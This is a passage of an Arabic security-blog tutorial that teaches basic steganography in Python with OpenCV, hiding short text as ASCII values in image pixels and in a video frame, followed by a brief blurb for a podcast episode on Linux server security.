في السطر الثاني قمت بعرض الصوره عن طريق imread ولكن لن تري شئ وبالتالي ستحتاج الي waitKey وهنا جعلناه ينتظر الضغط علي الحرف q لغلق الصوره عن طريق قيمه الـascii لحرف الـq

وهذه النتيجه علي جهازي

snip1

والأن لا داعي لذكر أي أساسيات أخري من أساسيات المكتبه ونبدأ في الأهم

كل صوره مما تراه أمامك علي الشاشه تتكون من (Pixels) وكتعريف سريع فا البكسل هو أصغر نقطه في الصوره أو هو الجزء الأصغر من الصوره القابل للتحكم وهو لا يري بالعين المجرده

كل صوره تراها تتكون من مئات بل وألاف البكسلز وكل بكسل منهم يحمل لون مما يكون الصوره واللون لكي يتكون يكون خليط من ثلاث ألوان وهو الأحمر والأخضر والأزرق وهذا يسمي بنظام الـRGB 

والأن كيف نستفيد من هذا لتخزين المعلومات ؟

كل لون من الألوان الثلاثه يستطيع أن يحمل قيمه عدديه من 0-255 ولكن أولا هل سمعت عن ascii ؟

الأسكي هو نظام يستبدل كل رمز برقم وهو يستخدم في التواصل ما بين الأجهزه ويمتد مدي أعداد الـascii من 0 الي 255 مقسمه الي ثلاث مجموعات أهمها المجموعه الثانيه وهي مجموعه الحروف القابله للكتابه وهي في المدي 32-127

والأن بعد أن لاحظت أن مدى أعداد الأسكي هو نفس المدى التي تستطيع أن تتحمله ألوان الـRGB وأن البكسل لا يري بالعين المجرده أذن لم لا نقوم بتغيير قيم ألوان بكسلز محدده بقيم الأسكي الخاص بالحروف 😀
ولمعلوماتك الصوره لن تتلف والقيم لن تتغير لأنك قمت بتغيير قيمه لون لا أكثر 😀 والأن لنبدأ العمل علي ذلك

لتعدل ألوان بكسل ما يجب أن تحدد مكانه ولعمل هذا يكون عن طريق تحديد العامود والصف الذي يوجد البكسل بتقاطعهما فمثلا أن أردنا فعلا هذا في البايثون يكون كالأتي

>>> import cv2
>>> import numpy as np
>>> img = cv2.imread('test.jpg')
>>> print img[100,100]
[ 60 186 234]

كما ترى فعند تحديد مكان البكسل تقوم بايثون بطباعه قيمه ألوان الـRGB الخاصه به الثلاثه ولو أردنا قيمه لون واحد منهم نقوم بالتالي

>>> print img[100,100,0]
60

او نستطيع القيام بالتالي

>>> print img.item(100,100,0)
60

والأن أذا أردنا تعديل قيمه لون ما خاص ببكسل

>>> img.itemset((100,100,0),120)
>>> print img.item(100,100,0)
120

كما ترى أصبحت قيمه اللون 120 والأن لنطبق هذا علي الحروف ولنأخذ كلمه isecurity كا مثال

img = cv2.imread( "test.png" )
n = 1
for i in "isecurity":
   try:
       img.itemset((0,n,0),ord(i))
       n += 1
   except:
       break
cv2.imwrite( "Stegano.png" , img )

الأن وضعنا كلمه isecurity بداخل الصوره فهذه الصوره الأصليه

test

وهذه بعد وضع الكلمه

test

كما ترى لا فرق 😀

الأن لنقوم بأستخراج الكلمه من الصوره مجددا نحن بحاجه لمعرفه طول الكلمه ولذلك عند أستخدام هذا السكربت في أرسال رسائل سريه أحرص علي أرسال طول الرساله أيضا مع الصوره للمستلم

الأن لنكتب كود أستخراج الرساله

>>> img = cv2.imread("stegano.png")
>>> length = len("isecurity")
>>> text = ""
>>> for i in range( 1 , length+1 ):
>>>      text += chr(img.item(0,i,0))
>>> print text
'isecurity'

كما تري أستخرجنا الرساله من الصوره سليمه 😀

والأن نكتب دالة (function) لأخفاء الصور وأخري لأستخراج الرساله من الصور لتصبح العمليه أسهل ووضعها في سكربت

def hide( text , image ):
      img = cv2.imread( image )
      to = image.split(".")[0] + "_stegano.png"
      n = 1
      for i in text:
            try:
                  img.itemset( ( 0 , n , 0 ) , ord( i ) )
                  n += 1
            except:
                  break
      cv2.imwrite( to , img )
      print " [+] Finished...written to " + to
      print " "*2 + "Text length : " + str( len( written ) )

def unhide( image ,length):
      img = cv2.imread( image )
      text = ""
      for i in range( 1 , length+1 ):
            text += chr( img.item( 0 , i , 0 ) )
      print " [+] Finished.."
      print " -Hidden msg : "
      print "\t" + str( text )

والأن أنهينا, السكربت والفكره التي أعتمدنا عليها بسيطه للغايه فهنالك سكربتات أخري تعمل بطرق أكثر تعقيدا فمثلا الأن أردنا تطوير الفكره ونخفي الرساله في فيديو فماذا نفعل ؟

ولكن أولا مما يتكون الفيديو ؟

يتكون الفيديو من عده فريمز (Frames) تتحدث بصوره مستمره في زمن قليل فلا تُرى العين المجرده تبدل الفريمز ودعني الأن أخبرك بمعلومه قيمه وهي أنه يمكن في مكتبه Opencv معالجه كل فريم وكأنه صوره 😀 أظن أنك فهمت الأن إلي ماذا أشير 😀

الأن بسرعه لنقوم بفتح ملف فيديو نقوم بالأتي

import cv2
vid = cv2.VideoCapture("test.mp4")

while(True):
    _, frame = vid.read()
    cv2.imshow('Video',frame)
    if cv2.waitKey(1) == ord('q'):
        break

vid.release()
cv2.destroyAllWindows()

والأن لنعدل الفريم بسرعه نقوم بتعديل بعمل فانشكن جديده تشبه hide ولكن للفريمز

def hide_in_frame( text , frame ):
      n = 1
      for i in text:
            try:
                  frame.itemset( ( 0 , n , 0 ) , ord( i ) )
                  n += 1
            except:
                  break
      print " [+] Finished..."
      print " "*2 + "Text length : " + str( len( text ) )
      return frame

import cv2
vid = cv2.VideoCapture("test.mp4")
frame_number = 1

while(True):
    _, frame = vid.read()
    if frame_number == 10:
        frame = hide_in_frame( "isecurity" , frame )
    frame_number +=1
    cv2.imshow('Video',frame)
    if cv2.waitKey(1) == ord('q'):
        break

vid.release()
cv2.destroyAllWindows()

وحتي لا أطيل المقاله أكثر ستقوم بنفس ما فعلت مع الصور مع فرق أنك تتعامل مع فيديو والأن لكي يقوم أحد بأستخراج الرساله يجب أن يعرف طول الرساله ورقم الفريم الموجوده فيه

أرجو أن تكونوا قد استفدتم من هذه المقالة، لا تترددوا في ترك أسئلتكم و إستفساراتكم إذا ما كان هناك جزئية غير واضحه .

مقالات اخرى عن Steganography :

مقال : علم Steganography ” ما لا تستطيع عيناك رؤيته”

مقال : تعريف بالـ Steganography 

بودكاست : الحلقة 015 –نقاش حول أمن الخوادم التي تعمل بنظام لينكس

$
0
0

حلقة جديدة من iSecur1ty Podcast حول أمن الخواديم التي تعمل بنظام لينكس , كان النقاش حول ادارة سيرفرات لينكس بشكل امن وماهي الجوانب التي يتم مراعاتها اثناء اداره الخوادم من ناحية امن المعلومات  . تم التطرق للموضوع بشكل متسلسل بحيث تم تغطيه جوانب عديده ومتدرجه , تم ذكر بعض من الحلول التي قد تساعد في بناء بيئه امنه بشكل عام. كل الحلول التي تم ذكرها حلول مجانيه ومفتوحه المصدر .

نتمنى أن تكون الحلقة مُفيدة لكم وبإذن الله نلتقي بمزيد من الحلقات والمواضيع المُختلفة ، لن أطيل عليكم وأدعكم للإستماع للحلقة

وصلات الحلقة :

 

يمكنك الاشتراك ومتابعة بودكاست آي سكيورتي على المنصات التالية: Soundcloud أو iTunes أو Pocket Casts أو STITCHER .

Viewing all 466 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>